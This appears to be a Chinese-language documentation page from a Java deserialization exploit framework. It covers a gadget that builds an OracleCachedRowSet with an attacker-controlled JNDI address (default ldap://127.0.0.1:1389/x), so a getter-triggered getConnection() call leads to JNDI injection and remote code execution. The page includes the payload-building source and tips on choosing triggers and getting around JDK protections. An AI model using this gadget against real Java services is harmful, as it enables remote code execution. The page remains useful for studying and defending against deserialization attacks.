Skip to content

Latest commit

 

History

History
70 lines (59 loc) · 5.06 KB

File metadata and controls

70 lines (59 loc) · 5.06 KB

Oracle DataSource JNDI(OracleCachedRowSet)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖oracle(Oracle JDBC 驱动,含 oracle.jdbc.rowset.OracleCachedRowSet

作用

构造一个 oracle.jdbc.rowset.OracleCachedRowSet,把 dataSourceName 字段设为攻击者的 JNDI 地址。当上游 Getter 型 gadget 触发它的 getConnection() 时,OracleCachedRowSet 会对 dataSourceName 执行 JNDI 查找(lookup),从而实现 JNDI 注入 → 远程加载工厂类 → RCE。是 DataSource getter 触发链的终点型 sink。

链接标签

  • 入口 tagsDataSourceChainsGetterEND —— 承接 DataSource 利用链;触发点为 getter(getConnection);END 表示自成收尾环。
  • 衔接 nextTags:无 —— JNDI 地址来自自身 jndiUrl 参数,不依赖内层链。
  • excludes:无。

源码剖析

private final String getterMethodName = "getConnection";
private final String getterPropertyName = "connection";
@Param(name="jndi地址", description="eg: [rmi|ldap]://host:port/obj")
public String jndiUrl = "ldap://127.0.0.1:1389/x";

public Object getObject() throws Exception {
    Object datasource = Reflections.newInstance("oracle.jdbc.rowset.OracleCachedRowSet");
    Reflections.setFieldValue(datasource, "dataSourceName", this.jndiUrl);   // JNDI 地址
    Vector<String> v1 = new Vector<>();
    v1.add(0, "111");
    try {
        Reflections.setFieldValue(datasource, "metaData", new String[]{"111"});
        Reflections.setFieldValue(datasource, "matchColumnNames", v1);
        Reflections.setFieldValue(datasource, "matchColumnIndexes", v1);
        Reflections.setFieldValue(datasource, "monitorLock", null);
    } catch (Exception e) {
        Reflections.setFieldValue(datasource, "metaData", new String[]{"111"});
        Reflections.setFieldValue(datasource, "matchColumnNames", v1);
        Reflections.setFieldValue(datasource, "matchColumnIndexes", v1);
    }
    return datasource;
}

public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);
    context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");
    context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");
    return this.getObject();
}

逐段解释:

  • JNDI 触发点dataSourceName = jndiUrlOracleCachedRowSet.getConnection() 在没有显式用户名/连接时会走「从 dataSourceName 做 JNDI 查找拿 DataSource」的分支,对该地址执行 InitialContext.lookup(jndiUrl)——即经典 JNDI 注入。默认 ldap://127.0.0.1:1389/x 指向攻击者的 LDAP/RMI 服务。
  • 占位字段的作用metaDatamatchColumnNamesmatchColumnIndexesmonitorLock 均被填入无害占位值("111" / 单元素 Vector / null)。这些字段在 getConnection 之前的对象状态检查或反序列化还原路径中若为 null 会抛 NPE,预先填充可保证执行流顺利到达 JNDI 查找try/catch 兜底:monitorLock 在部分驱动版本不存在时,退化为只设前三个字段。
  • invoke 的 context 注入:与 MysqlDataSource 相同的三件套(SUPER_CLASS_NAME_KEY=DataSourceSPECIAL_METHOD_NAME_KEY="getConnection"GETTER_PARAM_NAME_KEY="connection"),告知上游 Getter 触发器在反序列化时调用本对象的 getConnection()。本类是 ENDinvoke 不调用 chain.doCreate

元数据 description 提到 oracle.jdbc.rowset.OracleJDBCRowSet 且「fj 可能触发不到 getConnection 就退出了,用 cb 最好」——即:Fastjson 反序列化对 getter 的调用较受限,可能未走到 getConnection 便结束;用 CommonsBeanutils(cb)类的 getter 触发更可靠。注意实际实例化的类是 OracleCachedRowSet(与描述文字的 OracleJDBCRowSet 略有出入,以代码为准)。

参数(@Param)

字段 名称 说明 默认 可选值
jndiUrl jndi地址 JNDI 查找地址,格式 `[rmi ldap]://host:port/obj` ldap://127.0.0.1:1389/x

适用版本与原理要点

  • 依赖 Oracle JDBC 驱动(提供 oracle.jdbc.rowset.OracleCachedRowSet)。
  • 危害为 JNDI 注入,最终 RCE 受目标 JDK 的 JNDI 防护(com.sun.jndi.ldap/rmi.object.trustURLCodebase、高版本默认关闭远程 codebase)制约;高版本 JDK 需配合本地 factory/反序列化型 JNDI 利用。
  • 需上游提供 Getter 触发能力,推荐配 CommonsBeanutils 系触发器而非 Fastjson。

所属预设链

自由构件,未直接出现在 51 条预设链中。

关联

  • 上游(提供 Getter 触发,nextTags=Getter):CommonsBeanutils1、CommonsBeanutils2~5。
  • 同族(DataSource getter → JNDI/JDBC 利用):MysqlDataSourceOracleJDBCRowSetOracleFilteredRowSetOracleWebRowSetOracleJoinRowSetPostgreSqlDataSource
  • 触发原理近亲:JdbcRowSetImpl(同为 getter → JNDI lookup)。